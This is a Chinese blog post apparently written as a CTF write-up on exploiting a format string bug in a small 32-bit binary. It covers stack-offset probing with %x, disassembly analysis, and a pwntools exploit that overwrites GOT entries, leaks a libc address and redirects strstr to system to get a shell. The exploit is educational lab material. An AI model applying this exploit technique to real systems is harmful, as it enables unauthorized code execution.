格式化字符串漏洞利用模板

格式化字符串漏洞就是个格式化的时候限制条件缺失导致的漏洞,下面用一个栗子来讲解
https://download.csdn.net/download/qq_38204481/10416723。这里可以下载栗子。

int __cdecl main(int a1)
{
  char s; // [esp+0h] [ebp-408h]
  unsigned int v3; // [esp+3FCh] [ebp-Ch]
  int *v4; // [esp+400h] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  memset(&s, 0, 0x3FCu);
  printf("INPUT :");
  fgets(&s, 1024, stdin);
  if ( strstr(&s, "$h") || strstr(&s, "$n") )
    exit(-1);
  printf("RESP :");
  printf(&s);
  return 0;
}

printf(&s);这里有一个格式化字符串漏洞。
怎么利用呢。
先看这个栗子
输入%x看看会显示什么
这里写图片描述
它输出了这玩意。是esp+4位置处的值。可以猜一下,%x%x是不是就是后面一个堆栈区域的值了(注意这里我输入再多它也是esp+4位置处的值,因为存的是输入数据的指针)
接下来输入%x%x测试一下。
这里写图片描述
就是紧跟着4个字节的值。

格式化字符串输入%+数字(栈内第几个数据)+$+输出数据类型

$c这里的测试数据是%0$c,输出的是此时的栈顶数据是指针,指向字符

这里写图片描述

测试数据为%1$x输出结果为
这里写图片描述

可以看出来,这里的%1就是栈内编号为1的地方(就是此时esp指向的字节的后面4个字节。0是esp的内容)。

接下来可以手动测试一下
这里的%4x表示输出4个字节x表示以16进制输出。

liu@ubuntu:~/Desktop/pprint-T$ ./pprintf 
INPUT :aaaa.%4x.%4x.%4x.%4x.%4x.%4x
RESP :aaaa.804871b.b778ec20.   0.61616161.7834252e.7834252e

需要关注的是61616161这里是内存的第4个字节,这个4就是平时经常说的偏移为4。也就是格式化字符串函数开始到保存字符串的地址的偏移。这里有一个问题

fgets(&s, 1024, stdin);
  if ( strstr(&s, "$h") || strstr(&s, "$n") )
    exit(-1);
  printf("RESP :");
  printf(&s);

printf(&s);这里明明传进去参数的参数就是s怎么还会有偏移呢。自习看一下,这里存的是指针,也就是说此时栈里面存的是指针还有一个问题——偏移这一段存的是什么,为什么会产生这段偏移。
这需要看汇编了,需要观察的是关于esp的操作。

.text:0804857B
.text:0804857B ; Attributes: bp-based frame
.text:0804857B
.text:0804857B ; int __cdecl main(int, char **, char **)
.text:0804857B main            proc near               ; DATA XREF: start+17↑o
.text:0804857B
.text:0804857B s               = byte ptr -408h
.text:0804857B var_C           = dword ptr -0Ch
.text:0804857B anonymous_0     = dword ptr -8
.text:0804857B
.text:0804857B ; __unwind {
.text:0804857B                 lea     ecx, [esp+4]
.text:0804857F                 and     esp, 0FFFFFFF0h
.text:08048582                 push    dword ptr [ecx-4]
.text:08048585                 push    ebp
.text:08048586                 mov     ebp, esp
.text:08048588                 push    edi
.text:08048589                 push    ecx
.text:0804858A                 sub     esp, 400h
.text:08048590                 mov     eax, large gs:14h
.text:08048596                 mov     [ebp+var_C], eax
.text:08048599                 xor     eax, eax
.text:0804859B                 mov     eax, ds:stdout
.text:080485A0                 push    0               ; n
.text:080485A2                 push    2               ; modes
.text:080485A4                 push    0               ; buf
.text:080485A6                 push    eax             ; stream
.text:080485A7                 call    _setvbuf
.text:080485AC                 add     esp, 10h
.text:080485AF                 mov     eax, ds:stdin
.text:080485B4                 push    0               ; n
.text:080485B6                 push    2               ; modes
.text:080485B8                 push    0               ; buf
.text:080485BA                 push    eax             ; stream
.text:080485BB                 call    _setvbuf
.text:080485C0                 add     esp, 10h
.text:080485C3                 lea     edx, [ebp+s]
.text:080485C9                 mov     eax, 0
.text:080485CE                 mov     ecx, 0FFh
.text:080485D3                 mov     edi, edx
.text:080485D5                 rep stosd
.text:080485D7                 sub     esp, 0Ch
.text:080485DA                 push    offset format   ; "INPUT :"
.text:080485DF                 call    _printf
.text:080485E4                 add     esp, 10h
.text:080485E7                 mov     eax, ds:stdin
.text:080485EC                 sub     esp, 4
.text:080485EF                 push    eax             ; stream
.text:080485F0                 push    400h            ; n
.text:080485F5                 lea     eax, [ebp+s]
.text:080485FB                 push    eax             ; s
.text:080485FC                 call    _fgets
.text:08048601                 add     esp, 10h
.text:08048604                 sub     esp, 8
.text:08048607                 push    offset needle   ; "$h"
.text:0804860C                 lea     eax, [ebp+s]
.text:08048612                 push    eax             ; haystack
.text:08048613                 call    _strstr
.text:08048618                 add     esp, 10h
.text:0804861B                 test    eax, eax
.text:0804861D                 jnz     short loc_804863A
.text:0804861F                 sub     esp, 8
.text:08048622                 push    offset aN       ; "$n"
.text:08048627                 lea     eax, [ebp+s]
.text:0804862D                 push    eax             ; haystack
.text:0804862E                 call    _strstr
.text:08048633                 add     esp, 10h
.text:08048636                 test    eax, eax
.text:08048638                 jz      short loc_8048644
.text:0804863A
.text:0804863A loc_804863A:                            ; CODE XREF: main+A2↑j
.text:0804863A                 sub     esp, 0Ch
.text:0804863D                 push    0FFFFFFFFh      ; status
.text:0804863F                 call    _exit
.text:08048644 ; ---------------------------------------------------------------------------
.text:08048644
.text:08048644 loc_8048644:                            ; CODE XREF: main+BD↑j
.text:08048644                 sub     esp, 0Ch
.text:08048647                 push    offset aResp    ; "RESP :"
.text:0804864C                 call    _printf
.text:08048651                 add     esp, 10h
.text:08048654                 sub     esp, 0Ch
.text:08048657                 lea     eax, [ebp+s]
.text:0804865D                 push    eax             ; format
.text:0804865E                 call    _printf
.text:08048663                 add     esp, 10h
.text:08048666                 mov     eax, 0
.text:0804866B                 mov     edx, [ebp+var_C]
.text:0804866E                 xor     edx, large gs:14h
.text:08048675                 jz      short loc_804867C
.text:08048677                 call    ___stack_chk_fail

.text:08048654 sub esp, 0Ch这里ebp-c然后push eax
凑够了0x10在.text:08048663 add esp, 10h补齐堆栈。好好观察一下上面也是这个模式,每调用一个函数也都是凑够10h然后补回来。
看到这里就知道上面4个偏移字节是怎么来的了,还有为什么是4个字节。0x10/4=4(堆栈内容是4字节为单位)再看看反编译代码,s是在开始就被定义的,也就是堆栈平衡时的栈顶位置(在格式化输出的时候堆栈是不平衡的)。
但是这样计算太麻烦了,贴出自动化脚本

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
    p = process("./pprintf")
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

计算出偏移就可以正式解题了。贴出解题exp

from pwn import *
import sys
context.arch='i386'
#context.log_level='debug'
elf=ELF("pprintf")
check_fail_plt=elf.got["__stack_chk_fail"]
fmt_string=fmtstr_payload(4,{check_fail_plt : 0x0804857B},write_size='byte').replace('$h','$+h') #这里是为了把check_fail_plt覆盖为main函数的地址实现了溢出足够大的字节实现循环
print repr(fmt_string)
p=process("./pprintf")
p.recvuntil("INPUT :")
p.sendline(fmt_string.ljust(1022))#这里为什么不是1032?这个问题下面将会说
p.recvuntil("INPUT :")
p.sendline((p32(elf.got['printf'])+"%4$s").ljust(1022))
p.recvuntil("RESP :")
p.recv(4)
printf_addr=u32(p.recv(4))
print 'printf='+hex(printf_addr)

libc=ELF("libc6_2.19-0ubuntu6.14_i386.so")#这个库是通过泄漏的地址查到的,具体可以看一下上一篇

system_addr=printf_addr-libc.symbols["printf"]+libc.symbols["system"]
fmt_string=fmtstr_payload(4,{elf.got["strstr"]:system_addr},write_size='byte').replace('$h',"$+h")
print repr(fmt_string)

p.sendline(fmt_string.ljust(1022))
p.recvuntil("INPUT :")
p.sendline("//bin/sh")
p.recvline()
p.interactive()

下面针对这个题有一些细节:
为什么只能是1022,超过了就不行了 fgets(&s, 1024, stdin);这里限制只能有1024个字节 1022+‘\0’+‘\n’不就是1024了吗
那这时候怎么确定canary被覆盖掉了?这就需要更了解canary的保护了。
这里写图片描述
这里把canary的值存放到ebp-0xc地址处了。1032-0xc=1020。确定1024处已经覆盖掉canary了。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80329885